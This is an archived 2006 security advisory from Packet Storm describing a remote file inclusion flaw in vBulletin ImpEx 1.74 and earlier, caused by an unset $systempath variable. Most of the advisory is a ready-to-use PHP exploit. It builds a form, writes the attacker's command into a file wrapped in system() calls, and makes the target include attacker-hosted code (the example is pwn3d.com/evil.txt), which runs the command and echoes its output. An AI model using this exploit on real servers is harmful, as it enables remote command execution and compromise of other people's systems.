vBulletin174.txt

2006-04-01T00:00:00
ID PACKETSTORM:45041
Type packetstorm
Reporter ReZEN
Modified 2006-04-01T00:00:00

Description

                                        
                                            `=======================================================================================  
XOR Crew :: Security Advisory   
3/22/2006  
=======================================================================================  
vBulletin ImpEx <= 1.74 - Remote Command Execution Vulnerability  
=======================================================================================  
http://www.xorcrew.net/  
http://www.xorcrew.net/ReZEN  
=======================================================================================  
  
:: Summary  
  
Vendor : vBulletin  
Vendor Site : http://www.vbulletin.com/docs/html/impex  
Product(s) : Impex - vBulletin Import / Export System  
Version(s) : All  
Severity : Medium/High  
Impact : Remote Command Execution  
Release Date : 3/22/2006  
Credits : ReZEN (rezen (a) xorcrew (.) net)  
  
=======================================================================================  
  
I. Description  
  
The ImpEx (Import / Export) system is the core system for importing from   
other forum software into vBulletin version 3.5.0 or higher.  
  
=======================================================================================  
  
II. Synopsis  
  
There is a remote file inclusion vulnerability that allows for remote   
command execution in the /ImpExData.php file. The bug is here:  
  
require_once ($systempath . 'impex/ImpExDatabase.php');  
  
the $systempath variable is not set prior to being used in the   
require_once() function. The vendor and support team have been contacted.  
  
=======================================================================================  
  
Exploit code:  
  
-----BEGIN-----  
  
<?php  
/*  
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN  
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf  
url: http://www.xorcrew.net/ReZEN  
  
example:  
turl: http://www.target.com/impex/ImpExData.php?systempath=  
hurl:http://www.pwn3d.com/evil.txt?  
  
*/  
  
$cmd = $_POST["cmd"];  
$turl = $_POST["turl"];  
$hurl = $_POST["hurl"];  
  
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"  
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"   
value=\"".$turl."\"><br>"  
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"   
value=\"".$hurl."\"><br>"  
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"   
value=\"".$cmd."\"><br>"  
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"  
  
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";  
  
if (!isset($_POST['submit']))  
{  
  
echo $form;  
  
}else{  
  
$file = fopen ("test.txt", "w+");  
  
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");  
system(\"echo ++END++\"); ?>");  
fclose($file);  
  
$file = fopen ($turl.$hurl, "r");  
if (!$file) {  
echo "<p>Unable to get output.\n";  
exit;  
}  
  
echo $form;  
  
while (!feof ($file)) {  
$line .= fgets ($file, 1024)."<br>";  
}  
$tpos1 = strpos($line, "++BEGIN++");  
$tpos2 = strpos($line, "++END++");  
$tpos1 = $tpos1+strlen("++BEGIN++");  
$tpos2 = $tpos2-$tpos1;  
$output = substr($line, $tpos1, $tpos2);  
echo $output;  
  
}  
?>  
  
  
------END------  
  
=======================================================================================  
  
IV. Greets :>  
  
All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.  
  
uh ohs!! + /srv/web/lotfree/ + LOTFREE uid 1010 = Lame Frenchies  
  
=======================================================================================  
  
`